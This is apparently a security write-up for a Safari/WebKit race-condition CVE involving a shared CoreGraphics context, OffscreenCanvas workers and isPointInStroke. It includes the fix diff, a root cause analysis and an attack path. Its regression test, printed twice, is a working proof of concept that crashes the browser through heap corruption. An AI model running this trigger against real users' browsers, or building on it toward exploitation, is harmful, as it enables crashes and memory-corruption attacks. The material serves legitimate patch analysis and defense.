CVE-2026-64718
Overview
Impact:
Description: Processing maliciously crafted web content may lead to an unexpected Safari crash
Researchers: OGINOME Tomohito, an anonymous researcher
Key insight. A single static, mutable CGContext was written on the assumption of single-threaded access, but OffscreenCanvas made stroke queries concurrent. The fix serializes access with a function-local static Lock — the shared resource needed synchronization the moment worker threads could reach it.
Patch Details
diff --git a/LayoutTests/fast/canvas/offscreen-worker-unsafe-isPointInStroke-call-expected.txt b/LayoutTests/fast/canvas/offscreen-worker-unsafe-isPointInStroke-call-expected.txt
new file mode 100644
index 000000000000..4fd0bd3beec1
--- /dev/null
+++ b/LayoutTests/fast/canvas/offscreen-worker-unsafe-isPointInStroke-call-expected.txt
@@ -0,0 +1 @@
+PASS if this test does not crash.
diff --git a/LayoutTests/fast/canvas/offscreen-worker-unsafe-isPointInStroke-call.html b/LayoutTests/fast/canvas/offscreen-worker-unsafe-isPointInStroke-call.html
new file mode 100644
index 000000000000..86fa74bd492a
--- /dev/null
+++ b/LayoutTests/fast/canvas/offscreen-worker-unsafe-isPointInStroke-call.html
@@ -0,0 +1,51 @@
+<body>
+ <p>PASS if this test does not crash.</p>
+ <script>
+ window.testRunner?.waitUntilDone();
+ window.testRunner?.dumpAsText();
+
+ const tester = `self.onmessage = event => {
+ const ctx = event.data.getContext("2d");
+ for (let i = 0; i < 500; i++) {
+ ctx.setLineDash([5 + i % 20, 3 + i % 12]); // forces CG dash alloc/free
+ ctx.beginPath();
+ for (let j = 0; j < 25; j++) {
+ let a = j / 25 * Math.PI * 2 + i * .1;
+ let r = 30 + 20 * Math.sin(j * .7 + i * .3);
+ let x = 64 + r * Math.cos(a);
+ let y = 64 + r * Math.sin(a);
+ if (!j)
+ ctx.moveTo(x, y);
+ else
+ ctx.bezierCurveTo(
+ x + 12 * Math.sin(i + j), y + 12 * Math.cos(i + j),
+ x - 8 * Math.cos(i * j), y - 8 * Math.sin(i * j),
+ x, y
+ );
+ }
+ ctx.closePath();
+ ctx.isPointInStroke(64, 64);
+ }
+ self.postMessage({ type: 'done' }); // Send finished signal
+ };`;
+
+ const totalWorkers = 4;
+ let doneWorkers = 0;
+
+ for (let i = 0; i < totalWorkers; i++) {
+ const canvas = document.createElement("canvas");
+ canvas.width = 128;
+ canvas.height = 128;
+ const offscreen = canvas.transferControlToOffscreen();
+ const worker = new Worker(URL.createObjectURL(new Blob([tester])));
+ worker.postMessage(offscreen, [offscreen]);
+
+ worker.onmessage = event => {
+ if (event.data.type === 'done') {
+ if (++doneWorkers == totalWorkers)
+ window.testRunner?.notifyDone();
+ }
+ };
+ }
+ </script>
+</body>
diff --git a/Source/WebCore/platform/graphics/cg/PathCG.cpp b/Source/WebCore/platform/graphics/cg/PathCG.cpp
index 1a72e5045c38..32ae939bd590 100644
--- a/Source/WebCore/platform/graphics/cg/PathCG.cpp
+++ b/Source/WebCore/platform/graphics/cg/PathCG.cpp
@@ -606,6 +606,9 @@ bool PathCG::strokeContains(const FloatPoint& point, NOESCAPE const Function<voi
{
ASSERT(strokeStyleApplier);
+ static Lock scratchContextLock;
+ Locker locker { scratchContextLock };
+
CGContextRef context = scratchContext();
CGContextSaveGState(context);
@@ -641,6 +644,9 @@ FloatRect PathCG::boundingRect() const
FloatRect PathCG::strokeBoundingRect(NOESCAPE const Function<void(GraphicsContext&)>& strokeStyleApplier) const
{
+ static Lock scratchContextLock;
+ Locker locker { scratchContextLock };
+
CGContextRef context = scratchContext();
CGContextSaveGState(context);
Background
Advisory: Apple Security Advisory
| Attribute | Value |
|---|---|
| CVE | CVE-2026-64718 |
| Bugzilla | 313935 |
| Component | WebCore |
| Bug Class | Race |
| Severity | medium |
| Commit | 95f9f59bb141325d… |
| Advisory | Apple Advisory |
Terminology
- PathCG scratch context — PathCG stroke queries (strokeContains/strokeBoundingRect) borrow a single process-shared static CGContext and mutate its graphics state to compute stroke geometry.
- OffscreenCanvas workers — OffscreenCanvas lets canvas 2D APIs run on multiple worker threads simultaneously — so isPointInStroke()/stroke-bounds can execute concurrently.
- setLineDash — Sets the dash pattern; internally CoreGraphics allocates/frees dash state on the context, which is exactly what races when the context is shared.
Root Cause Analysis
This fixes a data race / use-after-free on a shared CoreGraphics scratch context used by path stroke queries. PathCG::strokeContains() and PathCG::strokeBoundingRect() obtain a process-shared scratchContext() (a single static CGContext) and mutate it (CGContextSaveGState, apply the stroke style, etc.). With OffscreenCanvas, isPointInStroke()/stroke-bounds can run concurrently on multiple worker threads, so several threads used and mutated the same scratch CGContext at once — including allocating/freeing CoreGraphics dash state via setLineDash — with no synchronization. The violated invariant is exclusive access to the shared scratch context for the duration of each stroke operation; concurrent use races CoreGraphics-internal allocations (e.g. the dash array), producing heap corruption / use-after-free and the observed crash. The fix adds a function-local static Lock scratchContextLock and takes a Locker in both strokeContains() and strokeBoundingRect(), serializing all access to the shared context. The regression test spins up four OffscreenCanvas workers that loop calling isPointInStroke() while changing setLineDash to force CG dash alloc/free. This is fully established by the diff.
Attack Path
1. Create multiple OffscreenCanvas workers
The page transfers several canvases to Web Workers via transferControlToOffscreen().
2. Concurrently query stroke geometry
Each worker loops calling isPointInStroke() (PathCG::strokeContains) while calling setLineDash with changing patterns to force CoreGraphics dash allocation and freeing.
3. Race the shared scratch CGContext
All workers use and mutate the same process-shared static scratchContext() simultaneously, racing CG-internal allocations.
4. Trigger heap corruption / UAF
The unsynchronized concurrent access corrupts CoreGraphics state (freed/overwritten dash allocations), crashing the process.
Impact Assessment
A data race and use-after-free on a shared CoreGraphics context, reachable from unprivileged script via OffscreenCanvas workers. Multiple threads mutating one CGContext corrupts CoreGraphics-internal allocations (the dash array), yielding heap corruption in the WebContent process — a controllable primitive since the attacker drives both thread count and allocation churn.
Audit Directions
Static/shared CG resources on worker paths
Audit other static or process-shared CoreGraphics/platform objects touched by canvas 2D code that OffscreenCanvas can now run off the main thread.
Main-thread-affinity assumptions
Search graphics helpers for singletons that predate OffscreenCanvas and silently assume single-threaded use; each needs a lock or per-thread instance.
Changed Functions
| Function | File | Change | Note |
|---|---|---|---|
PathCG::strokeContains |
Source/WebCore/platform/graphics/cg/PathCG.cpp |
modified | Adds a static Lock and takes a Locker before using the shared scratchContext(), serializing concurrent (OffscreenCanvas worker) access. |
PathCG::strokeBoundingRect |
Source/WebCore/platform/graphics/cg/PathCG.cpp |
modified | Same lock added around its use of the shared scratch CGContext to prevent the cross-thread data race. |
Files Changed
Source Files
Source/WebCore/platform/graphics/cg/PathCG.cpp
Test Files
LayoutTests/fast/canvas/offscreen-worker-unsafe-isPointInStroke-call-expected.txtLayoutTests/fast/canvas/offscreen-worker-unsafe-isPointInStroke-call.html
Regression Test
The fix ships this proof-of-concept / regression test:
diff --git a/LayoutTests/fast/canvas/offscreen-worker-unsafe-isPointInStroke-call-expected.txt b/LayoutTests/fast/canvas/offscreen-worker-unsafe-isPointInStroke-call-expected.txt
new file mode 100644
index 000000000000..4fd0bd3beec1
--- /dev/null
+++ b/LayoutTests/fast/canvas/offscreen-worker-unsafe-isPointInStroke-call-expected.txt
@@ -0,0 +1 @@
+PASS if this test does not crash.
diff --git a/LayoutTests/fast/canvas/offscreen-worker-unsafe-isPointInStroke-call.html b/LayoutTests/fast/canvas/offscreen-worker-unsafe-isPointInStroke-call.html
new file mode 100644
index 000000000000..86fa74bd492a
--- /dev/null
+++ b/LayoutTests/fast/canvas/offscreen-worker-unsafe-isPointInStroke-call.html
@@ -0,0 +1,51 @@
+<body>
+ <p>PASS if this test does not crash.</p>
+ <script>
+ window.testRunner?.waitUntilDone();
+ window.testRunner?.dumpAsText();
+
+ const tester = `self.onmessage = event => {
+ const ctx = event.data.getContext("2d");
+ for (let i = 0; i < 500; i++) {
+ ctx.setLineDash([5 + i % 20, 3 + i % 12]); // forces CG dash alloc/free
+ ctx.beginPath();
+ for (let j = 0; j < 25; j++) {
+ let a = j / 25 * Math.PI * 2 + i * .1;
+ let r = 30 + 20 * Math.sin(j * .7 + i * .3);
+ let x = 64 + r * Math.cos(a);
+ let y = 64 + r * Math.sin(a);
+ if (!j)
+ ctx.moveTo(x, y);
+ else
+ ctx.bezierCurveTo(
+ x + 12 * Math.sin(i + j), y + 12 * Math.cos(i + j),
+ x - 8 * Math.cos(i * j), y - 8 * Math.sin(i * j),
+ x, y
+ );
+ }
+ ctx.closePath();
+ ctx.isPointInStroke(64, 64);
+ }
+ self.postMessage({ type: 'done' }); // Send finished signal
+ };`;
+
+ const totalWorkers = 4;
+ let doneWorkers = 0;
+
+ for (let i = 0; i < totalWorkers; i++) {
+ const canvas = document.createElement("canvas");
+ canvas.width = 128;
+ canvas.height = 128;
+ const offscreen = canvas.transferControlToOffscreen();
+ const worker = new Worker(URL.createObjectURL(new Blob([tester])));
+ worker.postMessage(offscreen, [offscreen]);
+
+ worker.onmessage = event => {
+ if (event.data.type === 'done') {
+ if (++doneWorkers == totalWorkers)
+ window.testRunner?.notifyDone();
+ }
+ };
+ }
+ </script>
+</body>